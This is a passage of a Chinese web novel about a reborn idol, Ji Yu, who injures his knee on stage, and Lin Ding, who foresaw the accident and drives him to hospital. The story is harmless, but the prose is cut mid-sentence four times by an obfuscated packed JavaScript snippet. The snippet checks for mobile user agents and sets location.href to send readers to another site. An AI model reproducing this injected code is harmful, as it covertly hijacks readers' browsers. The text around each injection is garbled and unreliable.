“让他跳我们的舞?”许栖铜的声音猛地拔高,带着不可置信的冲天怒气,“这首歌我们出道到现在都还没公开表演过。他都放弃和我们一起成团了,凭什么让他一个人在综艺上solo首秀?他不属于ATW!我不同意!” 张哥冷冷地横了许栖铜一眼,眼神里的警告和寒意不言而喻。 任声声适时地开口,声音依旧柔和:“可是,张哥,纪屿参加的是歌唱比赛啊。突然加入舞蹈,会不会不太合适……” “有什么不合适的?”张哥打断他,语气很不耐烦,“综艺!要的是什么?是话题啊!是热度啊!是能让观众买账的爆点啊!歌唱综艺又如何?谁说不能跳舞了,这可是主办方提出来的。能吸粉、能上热搜就够了!”他重新转向纪屿,脸上又堆起笑,“怎么样,纪屿?这对节目和对公司都是双赢!而且对你日后发展也很有帮助,你本来舞蹈就跳的好。你要是没问题了,那今天就可以开始重新熟悉这支舞,抓紧时间……” “我需要再想想。” 纪屿的声音响起。 他语气没有什么起伏,平静地打断了经纪人对他所谓的规划。 练习室里安静下来。 张哥脸上的笑容僵住了,像是没听懂他的这句话。任声声惊讶地抬起眼,以另一种意味看向纪屿。许栖铜先是一愣,随即又嘲讽一笑,像是心里蛐蛐纪屿的不识抬举。 张哥张了张嘴,似乎又想拿出往日那套威胁辱骂的说辞,但目光触及到纪屿的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17109456|187627||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 脸,又硬生生地把话都咽了回去。他现在可是问鼎娱乐的香饽饽,是潜在的一颗新摇钱树,不能像以前那样对待了。于是,张哥勉强挤出了一个干巴巴的笑容,语气低沉道:“行。那你好好想想。不过纪屿啊,这可是千载难逢的好机会,节目组主动给你递的橄榄枝,你不接也不太合适。错过了这个机会,以后可不一定再有。这两天给我答复吧。” 纪屿没有再回答他的话,只是点了下头,目光已经转向了顾蓝,轻声道:“你不是要给我开小灶吗?” 老张的脸色有些难看,但又不好发作,只能咳嗽一声后,转身往外走去,路过许栖铜身边时,狠狠地瞪了他一眼。任声声欲言又止,和纪屿点点头后,也匆匆跟了出去。 许栖铜在最后,经过纪屿身边时,停下了脚步,压低声音丢下一句:“又装清高,爱跳不跳,傻叉!”说完,摔门而去。 练习室里终于只剩下纪屿和顾蓝两人。 顾蓝走到音响旁边,却没有马上播放音乐,而是担忧地看着纪屿依旧有些苍白的。 “哥们啊……”顾蓝的声音有点的严肃,“那舞吧,如果你不想跳,谁也不能逼你。你要自己想清楚,自己做最后的决定……” 纪屿轻轻嗯了一声,打断了他的话。他走到窗边,看向楼下的车流,玻璃上倒映出他眼底深处的冰冷。 这舞,该不该跳?若是跳了,他的悲剧会重演吗? 而提议舞蹈……真的只是巧合吗。他需要看看清楚,这建议的背后,除了节目组的逐利,是否还藏着别有用心。 他拿出手机,手指滑动,微博上相关的讨论已经悄然出现。有个吃瓜号在爆料,评论区里,期待的言论寥寥无几,更多的是质疑和反对的声音。 “不是吧,一个唱歌比赛跳什么舞?哗众取宠。” “抛弃兄弟自己单飞,现在又要跳原团的舞卖情怀?又当又立第一人,yue!” “皇族就是皇族,节目组亲儿子吧,什么都给他安排好了呗。” “别毁了这首歌。我哥哥们都还没公演过呢!” “粉丝别瞎吹了,他会跳舞么?跳得动吗?笑死。” 一条条评论飞快划过眼前,那些恶意揣测的字眼十分尖锐。虽然他上辈子恶评看得多了,早该麻木了,但是看到的时候心里还是会有些发闷。 他视线下移,落在自己如今完好的腿上。膝盖那该死的幻疼,又在隐隐发作。 他真的……还能跳吗? 那是一支承载了他痛苦的舞。 也是一个前世没能完美演绎的遗憾。 或许……今生有机会弥补?还是说,这根本就是命运给他的一个陷阱,等着他再次一脚踏空,历史重演。 他迅速划过评论区,那些冷嘲热讽如如洪水猛兽般刺疼他的眼,直到一个熟悉的ID撞入他的眼帘。 @热爱屿林。 这个账号竟然在回复那些恶评,语气并不激烈,反而十分文明礼貌。 “他的舞台魅力源于实力,不是炒作。” “选择不成团有他的理由,请尊重每个艺人的选择。” “请不要用恶意来揣测他人的努力。” 冰凉的心,渐渐升起暖意。这个账号背后的人……总是这样,上一世和这一世,在他看不见的地方,用这种方式维护着他。 他关掉手机屏幕,将额头抵在冷如冰的玻璃上。 闭上眼。 脑海中交替闪过的,是舞台上璀璨的灯光,是医院绝望的白色天花板,是林定在台下望着他时那复杂到令他心悸的目光…… 他真的,需要好好想一想。 52.52 难以启齿的重生 练习室的隔音很好,将一切吵嚷和烦恼都隔绝在外。纪屿独自在里面练习,反复琢磨《悔约》的旋律,试图在这首歌里寻找新的可能。窗外的日光从热烈到消亡,最后只剩日光灯冰冷的光线洒在他身前的黑白琴键上,也落在他那好看的侧脸上。 门外传来了规律的敲门声。 顾蓝探进头来对着纪屿挤眉弄眼,手里晃着两张彩色的票:“哥们,别练了!休息休息,咱俩解闷去?我搞了两张船上晚餐的券,江上夜游那种,走不?吹吹江风,看看夜景,我请客!” 纪屿心情确实不太好,本想拒绝的,但看着顾蓝那份热情和关切,到嘴边的话又咽了回去。也好,总比困在这小小空间里的好,总比被阴影和未知的恐惧反复煎熬着的要好。 * B市夜晚的江,可是著名的旅游打卡景点,的的确确有种能让人心旷神怡的力量。游轮缓缓破开深墨一般的江面,两岸是灯火通明的摩天大厦,映照着楼内仍在为生活忙碌的普通打工人。游轮之上,曼妙的爵士乐在浪漫的演奏,美食的香味吸引人的食欲。 虽然船上的晚餐精致又好吃,但纪屿食不知味。顾蓝见他如此,也不多劝,饭后便拉着他上了游轮顶层甲板。甲板之上,是清冽的晚风,与扑面而来的温柔水气,乘客们交谈甚欢,或是互诉爱意。 “哥们,”顾蓝靠在栏杆上,望着对岸的灯光,语气变得认真起来,“一下午了,有好好想清楚不?”他思考了一下,有些局促地辩解道:“我没别的意思的,你知道的,我只是觉得如果你想好了,早点开始排练,更加有胜算,如果你抗拒,不想跳,那就好好琢磨歌曲本身。” 纪屿望着远处江面上倒映的的桥梁,沉默不语。 是,他抗拒。 抗拒那首给他带来悲惨记忆的歌,更抗拒在可能重演悲剧的舞台上,再次交付自己的舞蹈生涯。 可内心深处,却总有一丝不甘的灯在忽明忽灭……那是上辈子不曾圆满的舞台,是支持他的那些粉丝们内心的遗憾。 “这个,有点……复杂。”他犹豫半天,只能给到顾蓝这样模糊的回答。重生的秘密,未来的悲剧,他无法宣之于口,哪怕是对最信任的兄弟,“有点不好的预感,具体的我也说不好。” 顾蓝看着他为难的神情,叹了口气,没有追问缘由,只是用力地拍了拍他的肩膀:“不管你最后怎么选,跳,还是不跳,都一定是正确的选择。我永远站在你这边。” 纪屿心头微热,刚想说什么,便听见游轮鸣笛,缓缓向着对岸的码头靠近。他的目光无意识地扫过逐渐清晰的岸上风光,掠过餐后散步的行人,暖黄温馨的路灯…… 忽然,他的视线定格。 一个身影,正沿着江边人行道,朝着码头的方向,全力奔跑而来。 路灯暖色的光晕在她身上一道接一道地掠过,明明灭灭,勾勒出焦急而熟悉的轮廓。她的长发在奔跑中飞扬,夏夜的江风好似也成了她的助力,推着她向这边靠近。 风声、水声和刚还在纷扰着他的思绪,此刻都成了背景音,而他的心跳声成为了这一瞬间的主角。 这样的心跳节奏,就好像回到了那个灯光昏暗楼梯间,就好像嘴唇又触到了那个猝不及防的柔软,就好像看见她惊慌如小鹿般逃离的眼神,就好像听见她那慌乱又荒谬的道歉声,就好像那声控灯亮了,又灭了,而他的心事被偷偷打开,又难以锁上。 纪屿揉了揉眼睛,心想大概是出现了幻觉。 她怎么可能会在这呢?他自嘲地笑笑。这些日子,林定都在躲避他,好似他们不曾认识。 “咦?她这么快就到了?”旁边的顾蓝惊讶地嘀咕道。 什么…… 纪屿猛地转头看他。 顾蓝摸了摸鼻子,有点不好意思的坦白道:“那个……林定半小时前微信找我,说有点急事想当面跟你说来者。我就把咱们在这儿的消息告诉她了。她上不来嘛,我就告诉她我们大概这个时间会在这个码头下船。”他促狭地眨眨眼,“不过,你老实交代,她为什么又是联系我,不是直接找你啊?你们俩不会又闹别扭了吧?” 那是闹别扭么…… “我不知道。”纪屿轻轻回道,重新将目光投向岸上,可那女孩的身影已经融入人海之中,难以找寻。 游轮靠稳,他和顾蓝戴上口罩,压低帽檐,随着人流走下船。 林定就站在江景夜游售票处那,手扶着膝盖,微喘着气,脸颊因为狂奔而泛红。她抬起头,目光穿过人群,直直地望了过来。 隔着几步的距离,隔着路灯的昏黄,隔着口罩无形的阻隔,两人的视线在空中交汇。 纪屿停下了脚步,他的呼吸不知为何,竟不受控制地暂停了一瞬。码头的光并不明亮,却足够让他看清她的脸。 顾蓝极有眼色地咳了一声:“嘿!你来了啊!那啥,我先去那边便利店买瓶水,你们先聊啊。” 说完,便小跑着走开了,留下两人独处。 那女孩似乎是深吸了一口气,然后走上前来,距离越近,纪屿就能更清楚地看到她眼底的波动,她看起来好像有点紧张。 她终于来找他了。是为了……那件事吗? 那不受控制地的心跳,节奏在这时候又快了几拍。那江风拂来,吹动了她的发丝和衣角,也似乎给他捎来了一些期待。 他望着她,等她开口,可她却不说话,只是呆呆地看着他,似乎在组织语言。 他走上前,在她面前站定。声音透过口罩,有些沉,却带着自己都未察觉的,今日以来最欢快的语气:“定定。” 林定对他笑了笑,抬起手挥了下:“……嘿。晚上好,江上夜游是不是很不错?” 纪屿轻轻嗯了一声,喉结微动,口罩后的唇角抿紧了,他有些紧张,静静等着她下面的话。 “……恭喜你拿了这么高的积分。我们……我很替你感到高兴。” “谢谢。”他回道,语气开始局促,他更期待她这普通寒暄后真正的话题。 “歌真的很好听,每一首都很好听呢……”她继续道,“而且……” 纪屿打断了她的话,语气都带着微弱的期待:“定定,你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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她的难以启齿,也许正是这个原因?她现在是成子秋的助理,而他又是成子秋最有力的竞争对手。如果他不跳,纯演唱的舞台上,也许成子秋就能有更大的胜算。她是不想让他在舞台上抢风头,所以来找他的? 他移开视线,望向黑沉沉的江面,声音里的温度褪尽,只剩下失望与难过:“定定,你今天是以什么身份,来阻止我跳舞的?” “如果你是作为观众,或者我的朋友,那么,谢谢你的建议,我会考虑的。”他顿了一顿,语气越来越心酸,“但如果,你是作为成子秋的助理,那我就当没有听到。我不需要对手团队的人来关心我。” 林定的脸色瞬间不好了,她张了张嘴,想解释。 “你告诉我,是你的艺人,派你来劝我的吗?”他轻轻地问,可话一出口,他就后悔了。 因为…… 她肯定不是这样的人。 她是那个目光热烈,指着城市最高的大楼上的那块广告牌,期许他,鼓励他,十年内会成为顶流的那个人。 53.53 重活一次,意义何在? “不是!”林定在原地愣了两秒,眼里满是被误解后的委屈,可嘴上却说不出其他的理由。她鼓起勇气,再次抬头看他,脸上是显而易见的难受:“我其实是……我做梦了,梦到了你跳舞,会发生不好的事情。你可以……因为我说的这个理由不跳吗?” 做梦? “这消息是今天的,你好像还没有时间睡觉。”他挑眉反驳道。 林定紧接着回答:“我白天上班摸鱼了,睡了好几个小时呢。再说了,打工人虽然很惨,但也有午休的。” “定定,”纪屿缓缓说,他其实并没有觉得她在撒谎,但还是想确认一些事情,“抛开你做梦这个事情,你觉得我能跳的好吗?” “你当然能跳的好,你的舞跳的这么棒。”林定脱口而出,然后她好像对自己生气一样地拍了拍自己的头,又咬牙补充道:“可是吧,着是个唱歌节目,加上跳舞,也许真的不够合适……?以后会有很多机会跳舞的。” 纪屿有些惊讶地眼睛一亮,“谢谢。不过你怎么知道我跳舞好不好的?” “我当然……嗯,网上有视频的。” “这样啊。”纪屿勾了勾嘴角。 “我有看过呢……”她的话音未落,眼角余光瞥见了一道刺眼的白光,伴随着急促的鸣笛,从人行道旁边的马路朝这边窜来。这辆电动车竟毫无减速地冲上了人行区域,车头直直朝着纪屿撞去! “小心!!” 林定的喊声是和她的身体动作同时进行的。就好像是她的大脑来不及思考,本能一般地猛地向前一来大步,伸出手,用尽全力将纪屿往她那边狠狠一拉。 纪屿猝不及防地被她拉进怀中。 “哔哔哔哔哔——” 那辆电动车擦着纪屿的衣角,在他身后掠了过去,电动车冲出去好几米才刹车停下,车上的骑手也吓了一跳,回头来骂骂咧咧。 林定第一时间根本顾不上那骑手,也忘了松开紧抓着纪屿手臂的手,急切地打量起他来,目光慌张地在他身上扫视几番,声音有些发抖地问她:“撞到了吗?有没有哪里疼?” 他看着她的脸,一时说不出话来。 她的手指无意识地收紧,抓地纪屿生疼,刚才还发红的脸,此刻已经被吓得苍白,那双总是努力保持平静的眼,也盛满了溢出来的担忧。 还有…… 恐惧。 纪屿琢磨着她的眼神,微微摇了摇头。似乎是确认了他并无大碍后,她才松了口气,猛地朝电动车的方向转头,眼里燃起了熊熊怒火。 “喂!怎么开车的!”她大喊道,瞪着那个刚从车上下来的骑手。她原本温软的声音,此刻却杀气腾腾,像一只被竖起刺来的刺猬,“太过分了,这是人行道!码头行人区域!你看不见标识吗?!要是撞到人怎么办?!你能负责吗?发生了意外怎么办?!”虽然她身形相对于骑手显得格外弱小,但她那份爆发出来的气势,竟一时压得对方不敢回嘴,那人嘀咕了一句“没注意,不好意思咯。”便慌忙拧动他的车把,溜之大吉。 “别跑!!”她松开手,只想去追。 纪屿看着她这张因为愤怒而异常生动的脸,微微地叹了一口气,伸出手拉住了她,止住了她的脚步。 “我没事,不用追了。” 她的目光与他相接,看到他眼中的复杂情绪,像是猛地意识到了自己刚才的失态,也想起了他们之前未说完的对话。 不知是错觉,还是什么,纪屿感觉到林定朝他的膝盖看了一眼,此时那幻痛再次来袭,于是他下意识地后退一步。 林定眼里的火光迅速黯淡下去,她深吸一口气,说:“没事就好。” 江畔刮起了微风,吹来了江边其他人欢乐的交谈声,他们闻到了附近酒吧街夹飘来的淡淡啤酒味。林定勉强地挤出笑容,耸耸肩,道:“顾蓝哥买水还没回来啊,会不会是去那边喝酒啦?” “他明早有通告,不能喝酒的。”纪屿实话实说。 “哦哦。” 纪屿纠结了一下,还是开口了:“……上次那件事。我以为你打算永远都不和我说话了。” “什么事……”林定话刚出口,瞬间意识是到什么了,脸又红了起来。 纪屿真以为她想不起来,有些不高兴,“你亲过来,然后你跑了。” 林定听不得那个字,脸烧的越来越红,支支吾吾的说:“那,那是意外!你忘了吧!” 忘了? 这怎么能忘呢? “我这个人记性很好的。”纪屿不依不饶,他半开玩笑地皱眉道:“我可是正在上升期的艺人,你对我做了这样的事……” 是不是要负点责任? 他可说不出后半句话来。 “对不起对不起!真的是我的错,但我和你保证,这个肯定不会对你有影响!一个是我对天发誓,绝对不会随便跟别人说这件事!一个是我后来查过了,那楼梯间没有监控,而且那天我和你说话前就确认过附近没人的,肯定不会被拍到成为你的黑料的!” 纪屿不想听,她怎么能像处理公事一样处理他们之间的那个小意外呢。 看样子,林定一点也不能好好和他谈论楼梯间的那件事了。他别过脸,看向远处路上行驶的车子,转移话题:“谢谢你刚刚救了我,”他轻声道,“如果不是你,我可能已经被撞飞了,倒也遂了你的意思,不用再纠结跳不跳舞了。” “纪屿!!” 林定猛地喊出他的名字,声音带着难以置信的声调,眼框瞬间红了。纪屿也不知道,林定怎么会因为他的一句话,眼泪就涌了出来,这使他的心跳顿时漏了一拍,感到慌乱。 只听她声音哽咽,很伤心地开口说道: “我要你不跳舞,但不是因为受伤才不能跳!” 她用力一抹泪水,声音越来越颤抖,却字字砸在了纪屿的心上。 “我是想看你跳更多的舞啊。” 这句话说出来,带着哭腔,就好像不能跳舞对她来说,是一个恐怖的结局。 纪屿彻底怔住了。 她是真的在担心他。他甚至产生了错觉,好像……林定比他自己更在意,他能否继续跳舞。 “我……”纪屿看着她不断滑落的泪水,忽然觉得自己刚才那看似玩笑的话,说得有点混账了。他歉疚地伸出手 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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舞台坍塌……现场无医护人员抢救……救护车在来的路上遇上交通事故……事后铺天盖地的泼凉水营销号…… 她要确保聚光灯落下时,只有荣耀,没有意外;若是意外避无可避,她也要做好一切应对的准备。 林定从口袋里掏出了手机。 屏幕的光照亮她依旧泛红的眼睛,她打开通讯录,找到了曾奇奇的号码,拨了过去。 电话很快被接通,对面传来热情的女声:“哇?一言为定大大?这么晚找我,是不是灵感爆发了?” 林定的声音已经听不出哭过的痕迹。 “奇奇姐,不好意思这么晚打扰你。灵感……也算是?我是想问问你,现在有没有时间出来坐坐呢,或者……明天?” 电话那边,曾奇奇似乎愣了一下,随即,职业的敏感让她意识到了什么,语气变得兴奋起来:“当然有!今天可有空了!大大你找地点,我现在就可以出门!” 54.54 绝望与喝彩 林定这一周,短暂地开始了曾经996的作息。 重新考车的日子到了,她早起练车考车,一举拿下了这一世的驾驶证;距离新的录制还有几日,她除了照常为成子秋准备服装、核对流程,还随着成子秋一起恢复了魔鬼一样的健身训练;下班后,她如往日般更新她的小说,以及粉丝核心群的运营,词条反黑…… 可她最最花心思的,却是《悔约》舞台的对策……既然无法改变纪屿的决策,那她就努力改变结果。 前世在互联网大厂,她最擅长的就是将混乱的突发状况、业务内容梳理成SOP了。她做好了一份《针对舞台事故的应急预案》,修修改改后,从1.0版本升级到3.0版本。 关于舞台塌陷的监测。 这对她来说就是个巨大的卡点。她只是欣喜娱乐的一个小小助理,无法干预节目组的工程,只能以艺人需要确认走位和舞台效果细节为理由,一次次超绝不经意地出现在舞台搭建的现场。在成子秋彩排之前,状似无意地游走在舞台边缘,观察灯光架子的固定、升降台的缝隙,甚至电线的铺设。她假装对舞台技术十分好奇,向现场工作人员请教各种问题,实则是在心里一遍遍地评估每一个潜在的意外风险。她甚至找了替艺人试试地面滑度的借口,在纪屿舞蹈动作的关键位置反复走了好几遍,脚下用超大力,感受地板的异响或松动。她记下了几处她觉得不够牢固的栏杆和地面,委婉提醒了舞台监督,对方很无语,觉得她小题大做,但还是答应她会再检查加固。 关于药品和应急包。 她列出可能用到的药品清单,针对急性韧带拉伤和关节挫伤的喷雾、绷带、消炎药止痛药……把这些药都背一个大包有可能会惹人怀疑,所以她将一部分混进了她平时给成子秋准备的应急包里,最关键的几样则自己随身携带。 关于现场急救。 她动用了写作积攒下来的小小人脉,托人介绍,联系到了一位擅长运动损伤处理的私人医生。她没有透露具体情况,只是支付了高昂的定金报酬,要求对方在录制日跟在她身边随时待命,并在电话里和那医生快速沟通了可能会遇到的伤情,以及第一时间处理原则。 关于送医路线。 林定查清了从录制现场到最近最好的骨科医院的路线,以及不同时段的拥堵情况。她特别标记了前世救护车拥堵,连环车相撞出事的路段,方便避开。她将最优路线和备用路线牢记于心,在手机导航里预设好,并且,她这几天深夜都趁晓春睡着后,偷溜出门去,租车练习驾驶那条路线。 接连着好几日做这些准备,她的黑眼圈可是越来越大了。 彩排这天,她看着艺人们踏上舞台,她的心就悬得更高了。前世那场灾难的每一个细节,都在她眼前清晰地重演。 她难受地叹了口气。 成子秋察觉到了她的异常,在她对着舞台结构图出神时,他走过来,安静地递给她一瓶热牛奶,什么也没问,只是在她抬眼时,对她笑了笑:“最近连轴转,辛苦了。录完这场,好好休息两天吧。” “嗯嗯。成老师你也是。”林定怔了怔,低声道谢,心里的紧张却没有缓解一点儿。 * 正式录制当天。 后台比往常更拥挤,更嘈杂。 林定跟在成子秋身边,处理着最后的妆发确认,可注意力却不全在这。 她默默留意着另一个候场区传来的动静。 “小林,”成子秋注意到了旁边的陌生人,轻声问道:“这位是……?” 林定观察着他的神色,心虚道:“成老师,我知道我接下来的话听起来可能有些杞人忧天,但下一轮舞台,无论是您还是其他选手,表演强度和舞台复杂程度都会有很大的提升。”她指着节目组给的表演项目,“《S+演唱荟》这一轮,您是选了唱演,道具和灯光都加倍了,还有两位艺人加了舞蹈……我寻思,这节目组的舞台设计一向挺大胆,但安全性上我还是有点点担心。所以呢……” 成子秋安静地听着,目光落在她微微泛白的指尖上,又移到她紧张担忧的脸上。 “所以,我提前联系好了一位有丰富现场急救经验的私人医生,今天会跟随我全程待命。我知道节目组有医生,但……但我上次不是崴脚了嘛,感觉那节目组的医生有点一般啦……”林定深吸了一口气,“我请的这个医生很专业的,我想着这样就能保障整个节目录制的顺利进行了。万一,我是说万一,有什么突发状况,都能急救,在去医院之前能做最好的措施……施救。” 成子秋沉默了一下,才说:“考虑得很周到。谢谢你。” “是我应该做的……”林定摇摇头,还是很心虚。 “私人医生,费用如何?”成子秋冷不丁的来了一句。 林定愣了一下,一时不知怎么回答,旁边的苏医生见状,老实地接话道:“林小姐说了,钱不是问题,速度和专业是第一位的。” 林定黑线,怎么这个苏医生把她电话里说的话一字不漏地背下来了。 还好之前卖专辑赚了好大一笔,她才有底气说这种话……可这在成子秋看来,是不是会对她挺无语的…… 成子秋听见这话倒是觉得新鲜,他顿了顿,没再发问:“我给你报销,不用你个人承担。” “这不合适……”林定更心虚了,这医生根本不是为他找的好吗,哪能让他给钱这种道理。 “好了,我们准备要去现场了。”成子秋打断她。 * 林定看到了纪屿。 纪屿换上了演出的衣服,正在角落进行最后的拉伸。 她的心,随着他每一个动作揪紧。 公演开始。 正如刚才林定与成子秋说的,大家都知道节目组要求纪屿在这次的舞台里加上舞蹈了。每一个人都不想落风,因此每一个人除了唱歌,都加上了其他的表演。前面的选手整体表现的不错,有人一些小失误,更多的人小有突破。 终于,主持人报出纪屿的名字。 《悔约》的前奏响起,纪屿站在舞台中央。 没有伴舞,他独自一人,却承载了整个舞台的光。 他的歌声一如既往地充满感染力,而当他随着第一个重拍利落起跳时,全场都屏住了呼吸。 力量。 控制。 情感。 他的每一个动作都完美无瑕,将肢体语言与歌曲的情绪融合在一起,高难度的编舞在他身上展现出了令人惊叹的完成度。 导师席上,几位前辈连连点头称赞,孟泳书更是情绪激动,直直拍手叫好。 林定站在台下,她的目光追随着他的每一个动作。 他的舞蹈比她记忆中任何一次都要精彩。 音乐推向最高潮。 纪屿旋转身体,屈膝,重心下沉…… 就在膝盖即将触及地面的那一刹那! “咔嚓!” 清晰的异响,让林定的血液瞬间冻结。 是纪屿左膝在跪地时,脚下那块看似平整的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17152200|187627||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 舞台地面,发生了微小的塌陷。 纪屿的身体僵了一瞬,音乐还在继续,他凭借着惊人的意志力硬生生完成了最后一个ending动作,脸上疼痛的表情竟巧妙地融入到了歌曲绝望的情绪之中。 音乐声毕。 惯性带着纪屿朝前扑倒,他用手撑地面试图稳住,但左腿的剧痛让他再也无法站起。 掌声雷动,导师们纷纷起身喝彩。 只有林定,像箭一样冲上了舞台。 “让开!” 她拨开涌向舞台祝贺的导师和主持人,甚至也顾不上下一个登台的是成子秋。台下观众惊呼,有安保也想上前拦她,可根本拦不住。 她的眼里只有那个在掌声中脸色苍白,手按在左膝上的人。 她第一个冲到纪屿身边,跪在他身边。纪屿抬起头,看到她冲过来,眼神有一瞬间的错愕,随即被剧烈的疼痛占据。 “医生!这里!” 林定的声音带着破音的尖锐,紧随她身后冲上舞台的,正是她提前安排好的,拿着急救箱的苏医生。 台下惊呼四起。场上的灯光刺目地亮起,将舞台上的一切狼狈照得无所遁形。 林定的声音颤抖,她对苏医生快速说道:“左膝,疑似韧带急性损伤,可能有骨挫伤。先固定,冰敷,评估能不能移动。” 苏医生惊讶地看了她一眼。 * 节目组将纪屿移动到了后台。 纪屿痛得眼前发黑,耳边嗡嗡作响,前世的画面与此刻的疼痛交织。他看着林定,她蹲在他脚边,侧脸绷紧,眼神专注地看着医生的动作。 她……怎么会有医生? 只见林定配合着医生的动作,协助他将纪屿的左腿小心地固定在相对稳定的位置,进行紧急冰敷处理。她的动作又快又稳,与这医生默契得像演练过无数次。 慌乱跑过来的助理小思,此刻已经完全吓懵。 “别愣着!来帮忙!立刻送医院!” 林定很大声地对小思大喊。小思被她的气势慑住,下意识地掏出手机:“我、我怎么……” 现场导演和工作人员也围了上来,一片混乱。“叫120!快叫120!” “来不及……” 林定喃喃自语,那些关于路段拥堵和前世事故的记忆无法宣之于口。 林定和苏医生交换了一个眼色。 苏医生沉声道:“去医院越快越好,需要专业设备进一步检查。” “我来载他,苏医生您扶这边。纪屿,你尽量把重量靠在我们身上,试试右腿能不能站?”林定坚定道。 “你又是什么人啊?纪屿等救护车吧,别乱动了!”纪屿的经纪人冲了上来,对她很不客气地说。 林定换了口气,没理会张哥,轻声对纪屿说:“我送你去医院。” 就在这时,成子秋也快步走上舞台,他脸上带着惊愕和担忧。他看到林定决绝的眼神,又看看疼到说不出话的纪屿,眉头紧锁。“林定,你……”成子秋想说什么。 “对不起,我必须送他去医院。你的表演……” 林定语速飞快,嘴上带着歉意,但行动没有一点犹豫。“我会开车送他去,我的车就停在B2。” 小思在一旁紧张地说:“小林,B2出口被粉丝的车堵住了,可能……” 成子秋静了静,直接将车钥匙塞进林定手里,目光在她惨白的脸上停留了一瞬,“你知道我的车在哪,开稳点。” 林定接过钥匙,用力握紧,重重点头。 此刻任何语言都是多余。 55.55 喜欢 “苏医生,车上还有什么需要操作的吗?”林定突然转向医生,开口问道。 苏医生摇摇头,表示所有能做的急救动作他都已经做了,接下来只需要快速去医院治疗。 林定点头,看向成子秋。 “那麻烦你留下来照看子秋老师,他马上就要表演了。” 成子秋没想到会这样,呆滞地愣住了。 * 工作人员们半抬着纪屿,以最快的速度通冲向成子秋停车的地点。 很快,大家就找到了那辆车。他们将纪屿安置在后座,用靠垫小心翼翼地垫高他的左腿。纪屿的助理小思一边吸着鼻子,一边迅速坐进后座另一侧,准备随时照看。 “那辛苦你了,小林……”小思话未说完,林定便大力关上了后座的车门。 “你在后面照顾好他。” 林定拉开驾驶座车门,坐了进来。 她紧握方向盘,指节因为用力而泛白。 车子平稳地驶出地下车库,汇入车流之中。 录制基地被抛在身后,越来越远。 车厢内很安静,只有纪屿压抑的抽气声,和小思偶尔的低声询问。 车子在一个红灯前停了下来。小思小心翼翼地问:“小林……我们为什么不叫救护车?救护车不是更快吗?” 林定盯着红灯读秒,似乎并不想分心回答她的问题。小思不死心的又问了一遍,林定才答道:“这个时间点,去最近医院最快的路要经过高新区,那里下班必定会堵死,而且,那边经常出事故,救护车万一被堵死在半路,更耽误时间。我开车走这条路,虽然看起来远了些,但路线我研究过,这个时间点非常通畅,会比较快。” 车内一时安静了下来。小思听的一愣一愣的,他没想到成子秋的这个年轻助理,在这种事情发生的时候竟然条理这么清晰,对路况的了解熟悉得可怕,仿佛……早已演练过无数遍。 她其实并不明白,成子秋的助理为何会伸出援手,但她不打算深究,反倒是感激不尽。毕竟,今日之事,是她助理生涯中从未遇到过的意外,她是手足无措慌乱至极的。 林定往后视镜里望去。 纪屿闭着眼,脸色依旧苍白。 他自始至终,竟没有喊过一声疼,只是沉默地承受着一切。 这种沉默,比任何大喊大叫都更让林定难受。她仿佛看到了前世那个在病床上,被告知可能无法再跳舞时,同样沉默的纪屿。 为什么…… 她明明做了这么多准备。她检查了舞台,提醒了隐患……虽然今生舞台不是毁灭性的坍塌,可腿伤的事故还是发生了。难道她重活一次,依然无法改变某些注定要降临的可怕事情吗? 不。不会的。 她透过后视镜,再次看向那个闭目忍痛的人。 这一次,她第一时间冲了上去,带了医生,避免了慌乱中操作不当可能造成的二次伤害,并且,她正用最快的速度将他送往医院。 前世的救治延误,和救护车被堵的意外,她都强行扭转了。 这一次,他一定会没事的,对吧。 她再不敢去看后视镜,怕自己好不容易冷静下来的心情又尽数崩塌。她必须集中精力,选快速平稳驾驶,将他安全送达。 纪屿仰靠在座椅上,眼睛紧闭。膝盖处一波波袭来的剧痛,不断地在提醒他,他今天发生了什么。舞台……灯光……异响……坍塌………与前世记忆缓缓重叠,但这一次,却有不同。 他没有躺在冰冷的地板上,无助等待。 也没有在漫长的混乱后,才等来救援。 甚至这一回,还有一个专业的医生,第一时间出现在他身边。 他忍着痛,微微睁开双眼。 带来这一切转变的,正是此刻驾驶座上,那个紧绷的背影。 在后排,只能看到她的小半张侧脸。林定的嘴唇抿得没有血色,开车紧张又专注,仿佛要将路上的一切看穿。 这是一个陌生的角度,也是一个陌生的场景。 